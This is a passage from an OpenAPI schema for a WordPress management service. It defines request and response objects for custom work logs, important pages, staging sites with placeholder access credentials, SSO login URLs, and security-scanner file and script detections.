returned after creating custom work entries.", "properties": { "custom_works": { "type": "array", "description": "Custom work entries created by this request.", "items": { "$ref": "#/components/schemas/CustomWork" } } } }, "ShowSiteCustomWorkResponse": { "type": "object", "required": [ "custom_work" ], "description": "Response envelope for one custom work entry.", "properties": { "custom_work": { "$ref": "#/components/schemas/CustomWork" } } }, "UpdateSiteCustomWorkRequest": { "type": "object", "required": [ "custom_work" ], "additionalProperties": true, "description": "Fields for updating one custom work entry for the site.", "properties": { "custom_work": { "type": "object", "required": [], "additionalProperties": true, "description": "Editable fields for the custom work entry. Include at least one supported field.", "properties": { "title": { "type": "string", "maxLength": 150, "description": "Updated short title for the work performed.", "example": "SEO optimization" }, "description": { "type": "string", "maxLength": 500, "description": "Updated detail about the work performed. Use an empty string to clear the description.", "example": "Fixed sitemap and schema issues" }, "performed_on": { "type": "string", "format": "date", "description": "Updated calendar date when the work was performed.", "example": "2026-02-20" } } } } }, "UpdateSiteCustomWorkResponse": { "type": "object", "required": [ "custom_work" ], "description": "Response envelope returned after updating one custom work entry.", "properties": { "custom_work": { "$ref": "#/components/schemas/CustomWork" } } }, "DeleteSiteCustomWorkRequest": { "type": "object", "required": [ "site_id", "custom_work_id" ], "description": "Path parameters for deleting one custom work entry for the site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "custom_work_id": { "$ref": "#/components/schemas/CustomWorkId" } } }, "ListSiteImportantPagesResponse": { "type": "object", "required": [ "important_pages", "meta" ], "description": "Response envelope returned with paginated important pages.", "properties": { "important_pages": { "type": "array", "description": "Important pages configured for the selected site.", "items": { "type": "object", "required": [ "id", "url" ], "description": "Important page configured for the selected site.", "properties": { "id": { "$ref": "#/components/schemas/ImportantPageId" }, "url": { "type": "string", "description": "Full URL of the important page.", "example": "https://example.com/pricing" } }, "example": { "id": "f5b7c1a0d3e9f7b2", "url": "https://example.com/pricing" } } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Response metadata.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "important_pages": [ { "id": "f5b7c1a0d3e9f7b2", "url": "https://example.com/pricing" }, { "id": "9c2d6b4e1a7f0d88", "url": "https://example.com/contact" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "CreateSiteImportantPageRequest": { "type": "object", "required": [ "important_page" ], "additionalProperties": true, "description": "Important page attributes to create.", "properties": { "important_page": { "type": "object", "required": [ "url" ], "additionalProperties": true, "description": "Important page fields to create. The wrapper is required and must be an object.", "properties": { "url": { "type": "string", "format": "uri", "description": "Full HTTP or HTTPS URL to add. The URL must belong to the site's domain.", "example": "https://example.com/pricing" } } } }, "example": { "important_page": { "url": "https://example.com/pricing" } } }, "CreateSiteImportantPageResponse": { "type": "object", "required": [ "important_page" ], "description": "Response envelope returned with the created important page.", "properties": { "important_page": { "type": "object", "required": [ "id", "url" ], "description": "Important page that was created.", "properties": { "id": { "$ref": "#/components/schemas/ImportantPageId" }, "url": { "type": "string", "description": "Full URL of the created important page.", "example": "https://example.com/pricing" } } } }, "example": { "important_page": { "id": "f5b7c1a0d3e9f7b2", "url": "https://example.com/pricing" } } }, "DeleteSiteImportantPageNoContentResponse": { "description": "Important page was removed and no response body is returned." }, "StagingSite": { "type": "object", "required": [ "id", "site_id", "status", "url", "created_at", "updated_at", "expires_at", "php_version", "user" ], "description": "Staging site created from a backup snapshot of a live site. It includes the\nsource site ID, current status, expiry, PHP version, and creator details.\n", "properties": { "id": { "$ref": "#/components/schemas/StagingSiteId" }, "site_id": { "$ref": "#/components/schemas/SiteId" }, "status": { "type": "string", "description": "Current status of the staging site.", "enum": [ "initializing", "active", "paused", "suspended" ], "example": "active" }, "url": { "oneOf": [ { "type": "string", "format": "uri" }, { "type": "null" } ], "description": "Public URL of the staging site when one is available.", "example": "https://staging-example-com-1.flavor.press" }, "created_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the staging site was created.", "example": "2026-01-10T10:00:00Z" }, "updated_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the staging site was last updated.", "example": "2026-01-12T08:30:00Z" }, "expires_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Expiry time after which the staging site may no longer be available.", "example": "2026-02-10T10:00:00Z" }, "php_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "PHP version configured for the staging site.", "example": "8.2" }, "user": { "oneOf": [ { "type": "object", "required": [ "name", "email" ] }, { "type": "null" } ], "description": "User who initiated staging creation.", "properties": { "name": { "type": "string", "description": "Display name of the user.", "example": "Admin Doe" }, "email": { "type": "string", "format": "email", "description": "Email address of the user.", "example": "admin@example.com" } } } } }, "StagingSiteDetail": { "allOf": [ { "$ref": "#/components/schemas/StagingSite" }, { "type": "object", "required": [ "snapshot", "credentials" ], "description": "Detailed staging site view with source snapshot and access credentials.", "properties": { "snapshot": { "oneOf": [ { "type": "object", "required": [ "id", "created_at" ] }, { "type": "null" } ], "description": "Backup snapshot used to create the staging site.", "properties": { "id": { "$ref": "#/components/schemas/SnapshotId" }, "created_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the source snapshot was created.", "example": "2026-01-09T10:00:00Z" } } }, "credentials": { "type": "object", "required": [ "http_auth", "server", "database" ], "description": "Credentials for accessing the staging site.", "properties": { "http_auth": { "oneOf": [ { "type": "object", "required": [ "username", "password" ] }, { "type": "null" } ], "description": "HTTP auth credentials for the staging site.", "properties": { "username": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "HTTP auth username.", "example": "staging-user" }, "password": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "HTTP auth password.", "example": "generated-password" } } }, "server": { "type": "object", "required": [ "protocol", "host", "port", "username", "password" ], "description": "SFTP connection details for the staging filesystem.", "properties": { "protocol": { "type": "string", "enum": [ "sftp" ], "description": "File transfer protocol used for staging filesystem access.", "example": "sftp" }, "host": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "SFTP host.", "example": "203.0.113.10" }, "port": { "oneOf": [ { "type": "integer" }, { "type": "null" } ], "description": "SFTP port.", "example": 22 }, "username": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "SFTP username.", "example": "stg_example" }, "password": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "SFTP password.", "example": "sftp-password" } } }, "database": { "type": "object", "required": [ "host", "port", "name", "username", "password" ], "description": "Database connection details for the staging database.", "properties": { "host": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Database host for the staging site.", "example": "10.0.0.12" }, "port": { "oneOf": [ { "type": "integer" }, { "type": "null" } ], "description": "Database port for the staging site.", "example": 3306 }, "name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Database name for the staging site.", "example": "bv_db_example" }, "username": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "MySQL username for the staging database.", "example": "stg_example" }, "password": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "MySQL password for the staging database.", "example": "mysql-password" } } } } } } } ] }, "StagingSiteTask": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Task returned when a staging change runs asynchronously.", "properties": { "id": { "$ref": "#/components/schemas/TaskId" }, "status": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Current public task status, such as `queued`, `running`, `completed`, or `failed`.", "example": "queued" }, "created_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the task was created.", "example": "2026-01-10T10:00:00Z" } } }, "ListStagingSitesRequest": { "type": "object", "required": [], "additionalProperties": true, "description": "Query parameters for finding and ordering staging sites.", "properties": { "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number. Defaults to 1.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of items per page. Values above 100 are capped to 100.", "example": 100 }, "sort": { "$ref": "#/components/schemas/ListStagingSitesSort" }, "filters": { "$ref": "#/components/schemas/ListStagingSitesFilters" } } }, "ListStagingSitesResponse": { "type": "object", "required": [ "staging_sites", "meta" ], "description": "Paginated response envelope for staging sites.", "properties": { "staging_sites": { "type": "array", "description": "Staging sites in your account for WordPress sites available to you.", "items": { "$ref": "#/components/schemas/StagingSite" } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Pagination metadata for this staging site list response.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } } }, "CreateStagingSiteRequest": { "type": "object", "required": [ "staging_site" ], "additionalProperties": true, "description": "Request body for creating a staging site. The body must be wrapped in `staging_site`.", "properties": { "staging_site": { "type": "object", "required": [ "site_id", "snapshot_id" ], "additionalProperties": true, "description": "Staging site details. `site_id` and `snapshot_id` are required.", "properties": { "site_id": { "allOf": [ { "$ref": "#/components/schemas/SiteId" } ], "description": "Live site used to create the staging site." }, "snapshot_id": { "allOf": [ { "$ref": "#/components/schemas/SnapshotId" } ], "description": "Backup snapshot used to create the staging site." }, "php_version": { "type": "string", "description": "Optional supported PHP version for the staging site. When omitted, the source site's PHP version is used if that version is supported.", "example": "8.2" }, "options": { "type": "object", "required": [], "additionalProperties": true, "description": "Optional staging creation modifiers.", "properties": { "real_time_events": { "type": "object", "required": [], "additionalProperties": true, "description": "Optional real-time sync settings used while creating the staging site.", "properties": { "enabled": { "type": "boolean", "description": "Whether real-time sync should be enabled during staging creation.", "example": true }, "until": { "type": "string", "format": "date-time", "description": "Include real-time events up to this cutoff time.", "example": "2026-01-10T09:00:00Z" } } } } } } } } }, "CreateStagingSiteResponse": { "type": "object", "required": [ "task" ], "description": "Task returned after staging site creation starts.", "properties": { "task": { "$ref": "#/components/schemas/StagingSiteTask" } } }, "ShowStagingSiteResponse": { "type": "object", "required": [ "staging_site" ], "description": "Response envelope for a detailed staging site.", "properties": { "staging_site": { "$ref": "#/components/schemas/StagingSiteDetail" } } }, "ExtendStagingSiteExpiryRequest": { "type": "object", "required": [ "days" ], "additionalProperties": true, "description": "Request body for extending a staging site's expiry.", "properties": { "days": { "type": "integer", "minimum": 1, "maximum": 14, "description": "Number of days to add to the current expiry.", "example": 14 } } }, "ExtendStagingSiteExpiryResponse": { "type": "object", "required": [ "staging_site" ], "description": "Response envelope for the staging site with updated expiry.", "properties": { "staging_site": { "$ref": "#/components/schemas/StagingSiteDetail" } } }, "ResumeStagingSiteRequest": { "type": "object", "required": [ "staging_site_id" ], "description": "Path parameters for resuming a paused staging site.", "properties": { "staging_site_id": { "$ref": "#/components/schemas/StagingSiteId" } } }, "ResumeStagingSiteResponse": { "type": "object", "required": [ "staging_site" ], "description": "Response envelope for the resumed staging site.", "properties": { "staging_site": { "$ref": "#/components/schemas/StagingSiteDetail" } } }, "UpdateStagingSitePhpVersionRequest": { "type": "object", "required": [ "staging_site" ], "additionalProperties": true, "description": "Request body for updating staging site PHP version. The body must be wrapped in `staging_site`.", "properties": { "staging_site": { "type": "object", "required": [ "php_version" ], "additionalProperties": true, "description": "PHP version change details for the staging site.", "properties": { "php_version": { "type": "string", "description": "Target supported PHP version.", "example": "8.3" } } } } }, "UpdateStagingSitePhpVersionResponse": { "type": "object", "required": [ "task" ], "description": "Task returned after staging PHP version update starts.", "properties": { "task": { "$ref": "#/components/schemas/StagingSiteTask" } } }, "DeleteStagingSiteRequest": { "type": "object", "required": [ "staging_site_id" ], "description": "Path parameters for deleting a staging site.", "properties": { "staging_site_id": { "$ref": "#/components/schemas/StagingSiteId" } } }, "DownloadStagingSiteRequest": { "type": "object", "required": [ "download" ], "additionalProperties": true, "description": "Request body for starting a staging site download. The body must be wrapped in `download`.", "properties": { "download": { "type": "object", "required": [ "scope" ], "additionalProperties": true, "description": "Download request wrapper. At least one scope value must be true.", "properties": { "scope": { "type": "object", "required": [], "additionalProperties": true, "description": "Selects which staging content to include in the generated download package.", "properties": { "include_files": { "type": "boolean", "description": "Include staging site files in the download package.", "example": true }, "include_database": { "type": "boolean", "description": "Include the staging database in the download package.", "example": true } } } } } } }, "DownloadStagingSiteResponse": { "type": "object", "required": [ "task" ], "description": "Task returned after staging site download starts.", "properties": { "task": { "$ref": "#/components/schemas/StagingSiteTask" } } }, "WpSsoLoginUrlStagingSiteRequest": { "type": "object", "required": [ "staging_site_id" ], "description": "Path and query parameters for generating a staging WordPress SSO login URL.", "properties": { "staging_site_id": { "$ref": "#/components/schemas/StagingSiteId" }, "wp_object_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Optional WordPress user ID to log in as. Omit or send blank to use the configured default login user when available; non-blank values must contain only digits.", "example": "42" } } }, "WpSsoLoginUrlStagingSiteResponse": { "type": "object", "required": [ "url" ], "description": "Response envelope for a generated staging WordPress SSO login URL.", "properties": { "url": { "type": "string", "format": "uri", "description": "Temporary URL that signs the user into WordPress admin for the staging site.", "example": "https://staging-example-com-1.flavor.press/wp-admin/?bv_sso=token" } } }, "SiteSecurity": { "type": "object", "required": [ "enabled" ], "description": "Site-level security scanning state for a site.", "properties": { "enabled": { "type": "boolean", "description": "Whether site-level security scanning is enabled for the site.", "example": true } }, "example": { "enabled": true } }, "EnableSiteSecurityRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for enabling site security scanning on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "EnableSiteSecurityResponse": { "type": "object", "required": [ "security" ], "description": "Response envelope returned after site security scanning is enabled.", "properties": { "security": { "$ref": "#/components/schemas/SiteSecurity" } }, "example": { "security": { "enabled": true } } }, "DisableSiteSecurityRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for disabling site security scanning on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "DisableSiteSecurityResponse": { "type": "object", "required": [ "security" ], "description": "Response envelope returned after site security scanning is disabled.", "properties": { "security": { "$ref": "#/components/schemas/SiteSecurity" } }, "example": { "security": { "enabled": false } } }, "ShowSiteSecurityScannerDetectionsSummaryRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for showing detection summary counts.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "snapshot_id": { "type": "string", "description": "Scanner snapshot ID returned in snapshot lists and details. When omitted, the latest completed scanner snapshot is used for file, script, and cron job counts.", "example": "67f2a9c4b13e8d2f9a40c1d7" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "snapshot_id": "67f2a9c4b13e8d2f9a40c1d7" } }, "ShowSiteSecurityScannerDetectionsSummaryResponse": { "type": "object", "required": [ "detections" ], "description": "Response envelope returned with grouped detection summary counts.", "properties": { "detections": { "type": "object", "required": [ "files", "scripts", "plugins", "cron_jobs", "redirections" ], "description": "Counts grouped by detection type.", "properties": { "files": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionSummaryWithMarkedSafe", "description": "File-level detections found in the selected scanner snapshot." }, "scripts": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionSummaryWithMarkedSafe", "description": "Script detections found in the selected scanner snapshot." }, "plugins": { "type": "object", "required": [ "total" ], "description": "Malicious plugin detections for the site. Plugin detections return only a total count.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total detections of this type.", "example": 1 } }, "example": { "total": 1 } }, "cron_jobs": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionSummaryWithMarkedSafe", "description": "Cron job detections found in the selected scanner snapshot." }, "redirections": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionSummaryWithMarkedSafe", "description": "Redirection detections for the site." } }, "example": { "files": { "total": 12, "marked_safe": 2 }, "scripts": { "total": 4, "marked_safe": 1 }, "plugins": { "total": 1 }, "cron_jobs": { "total": 2, "marked_safe": 0 }, "redirections": { "total": 3, "marked_safe": 1 } } } }, "example": { "detections": { "files": { "total": 12, "marked_safe": 2 }, "scripts": { "total": 4, "marked_safe": 1 }, "plugins": { "total": 1 }, "cron_jobs": { "total": 2, "marked_safe": 0 }, "redirections": { "total": 3, "marked_safe": 1 } } } }, "SiteSecurityScannerDetectionFileFilters": { "type": "object", "required": [], "description": "Filters applied to returned file detections.", "properties": { "path:eq": { "type": "string", "description": "Match detected files with exactly this path.", "example": "./wp-content/themes/example/functions.php" }, "path:contains": { "type": "string", "description": "Match detected files whose path contains this value.", "example": "wp-content" }, "marked_safe:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Match detections by safe marking state.", "example": false } }, "example": { "path:contains": "wp-content", "marked_safe:eq": false } }, "ListSiteSecurityScannerDetectionFilesSort": { "type": "string", "default": "detected_at,desc", "description": "Sort order for returned file detections.", "example": "detected_at,desc" }, "SiteSecurityScannerDetectionFileBulkResult": { "type": "object", "required": [ "ids", "errors" ], "description": "Result details for a bulk file detection operation.", "properties": { "ids": { "type": "array", "description": "File detection IDs processed by the operation.", "items": { "type": "string", "description": "File detection ID." }, "example": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ] }, "errors": { "type": "array", "description": "Per-ID errors for file detection IDs that failed processing.", "items": { "type": "object", "required": [ "id", "code", "message" ], "properties": { "id": { "type": "string", "description": "File detection ID associated with this error.", "example": "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" }, "code": { "type": "string", "description": "Machine-readable error code.", "example": "invalid_format" }, "message": { "type": "string", "description": "Human-readable error message.", "example": "Invalid file id format." } } }, "example": [] } }, "example": { "ids": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ], "errors": [] } }, "SiteSecurityScannerDetectionFileBulkMeta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "description": "Counts for a bulk file detection operation.", "properties": { "requested": { "type": "integer", "minimum": 0, "description": "Number of unique submitted file detection IDs.", "example": 1 }, "succeeded": { "type": "integer", "minimum": 0, "description": "Number of file detection IDs processed successfully.", "example": 1 }, "failed": { "type": "integer", "minimum": 0, "description": "Number of file detection IDs that failed processing.", "example": 0 } }, "example": { "requested": 1, "succeeded": 1, "failed": 0 } }, "ListSiteSecurityScannerDetectionFilesRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for listing file detections.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "snapshot_id": { "$ref": "#/components/schemas/SnapshotId", "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" }, "filters": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionFileFilters" }, "sort": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionFilesSort" }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of file detections per page.", "example": 100 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "snapshot_id": "67f2a9c4b13e8d2f9a40c1d7", "filters": { "path:contains": "wp-content", "marked_safe:eq": false }, "sort": "detected_at,desc", "page": 1, "perPage": 100 } }, "ListSiteSecurityScannerDetectionFilesResponse": { "type": "object", "required": [ "files", "meta" ], "description": "Response envelope returned with a paginated list of file detections.", "properties": { "files": { "type": "array", "items": { "type": "object", "required": [ "id", "path", "detected_at", "marked_safe" ], "description": "One potentially malicious file from a site scanner snapshot.", "properties": { "id": { "type": "string", "description": "File detection ID. Use this value when fetching content or marking the detection safe or unsafe.", "example": "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" }, "path": { "type": "string", "description": "Path of the detected file on the site.", "example": "./wp-content/themes/example/functions.php" }, "detected_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the detection was found, when available.", "example": "2026-05-25T07:40:00Z" }, "marked_safe": { "type": "boolean", "description": "Whether the detected file is currently marked safe.", "example": false } }, "example": { "id": "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=", "path": "./wp-content/themes/example/functions.php", "detected_at": "2026-05-25T07:40:00Z", "marked_safe": false } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "files": [ { "id": "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=", "path": "./wp-content/themes/example/functions.php", "detected_at": "2026-05-25T07:40:00Z", "marked_safe": false }, { "id": "Ml8yMF9jMkZtWlM1d2FIQT1fYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmI=", "path": "./safe.php", "detected_at": "2026-05-24T07:40:00Z", "marked_safe": true } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ShowSiteSecurityScannerDetectionFileContentRequest": { "type": "object", "required": [ "site_id", "id" ], "description": "Path parameters for showing detected file content.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "id": { "type": "string", "description": "File detection ID returned by the list response.", "example": "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "id": "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" } }, "ShowSiteSecurityScannerDetectionFileContentResponse": { "type": "object", "required": [ "content" ], "description": "Response envelope returned with detected file content.", "properties": { "content": { "type": "string", "contentEncoding": "base64", "description": "Base64-encoded file content.", "example": "PD9waHAgZWNobyAnaGVsbG8nOyA/Pg==" } }, "example": { "content": "PD9waHAgZWNobyAnaGVsbG8nOyA/Pg==" } }, "MarkSiteSecurityScannerDetectionFilesSafeRequest": { "type": "object", "required": [ "ids" ], "description": "File detection IDs to mark safe for your account.", "properties": { "ids": { "type": "array", "minItems": 1, "description": "File detection IDs returned by the list response. Duplicate IDs are processed once.", "items": { "type": "string", "description": "File detection ID." }, "example": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ] } }, "example": { "ids": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ] } }, "MarkSiteSecurityScannerDetectionFilesSafeResponse": { "type": "object", "required": [ "safe", "meta" ], "description": "Response envelope returned after file detections are marked safe.", "properties": { "safe": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionFileBulkResult" }, "meta": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionFileBulkMeta" } }, "example": { "safe": { "ids": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "MarkSiteSecurityScannerDetectionFilesUnsafeRequest": { "type": "object", "required": [ "ids" ], "description": "File detection IDs to mark unsafe for your account.", "properties": { "ids": { "type": "array", "minItems": 1, "description": "File detection IDs returned by the list response. Duplicate IDs are processed once.", "items": { "type": "string", "description": "File detection ID." }, "example": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ] } }, "example": { "ids": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ] } }, "MarkSiteSecurityScannerDetectionFilesUnsafeResponse": { "type": "object", "required": [ "unsafe", "meta" ], "description": "Response envelope returned after file detections are marked unsafe.", "properties": { "unsafe": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionFileBulkResult" }, "meta": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionFileBulkMeta" } }, "example": { "unsafe": { "ids": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "SiteSecurityScannerDetectionScriptFilters": { "type": "object", "required": [], "description": "Filters applied to returned script detections.", "properties": { "threat_types:in": { "type": "array", "items": { "type": "string" }, "description": "Match scripts with any submitted threat type. Supported values for matching include `redirection`, `injection`, `backdoor`, and `other`.", "example": [ "redirection", "injection" ] }, "location.type:eq": { "type": "string", "description": "Match scripts detected in this location type. Supported values for matching include `database`, `homepage`, and `other`.", "example": "database" }, "marked_safe:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Match scripts by safe marking state.", "example": false } }, "example": { "threat_types:in": [ "redirection" ], "location.type:eq": "database", "marked_safe:eq": false } }, "ListSiteSecurityScannerDetectionScriptsSort": { "type": "string", "default": "detected_at,desc", "description": "Sort order for returned script detections.", "example": "detected_at,desc" }, "ListSiteSecurityScannerDetectionScriptsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for listing script detections.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "snapshot_id": { "$ref": "#/components/schemas/SnapshotId", "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" }, "filters": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionScriptFilters" }, "sort": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionScriptsSort" }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of script detections per page.", "example": 100 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "snapshot_id": "67f2a9c4b13e8d2f9a40c1d7", "filters": { "threat_types:in": [ "redirection" ], "marked_safe:eq": false }, "sort": "detected_at,desc", "page": 1, "perPage": 100 } }, "ListSiteSecurityScannerDetectionScriptsResponse": { "type": "object", "required": [ "scripts", "meta" ], "description": "Response envelope returned with a paginated list of script detections.", "properties": { "scripts": { "type": "array", "items": { "type": "object", "required": [ "id", "threat_types", "location", "marked_safe", "detected_at" ], "description": "One potentially malicious script from a site scanner snapshot.", "properties": { "id": { "type": "string", "minLength": 1, "pattern": "^[a-f0-9]{32}$", "description": "Script detection ID. Use this value when fetching content or marking the detection safe.", "example": "0aa32de0ef6669175da26f87aa93c193" }, "threat_types": { "type": "array", "description": "Threat categories inferred from the detected script source.", "items": { "type": "string", "enum": [ "redirection", "injection", "backdoor", "other" ] }, "example": [ "redirection" ] }, "location": { "type": "object", "required": [ "type" ], "description": "Where the script was found. The value includes a type because scripts can be found in database content, homepage content, or another source.", "properties": { "type": { "type": "string", "enum": [ "database", "homepage", "other" ], "description": "Detection location type.", "example": "database" }, "table_name": { "type": "string", "description": "Database table name when the location type is `database`.", "example": "wp_options" }, "affected_rows": { "type": "integer", "minimum": 0, "description": "Number of affected rows when the location type is `database`.", "example": 2 }, "url": { "type": "string", "description": "URL where the script was detected when the location type is `homepage`.", "example": "https://example.com" } }, "example": { "type": "database", "table_name": "wp_options", "affected_rows": 2 } }, "marked_safe": { "type": "boolean", "description": 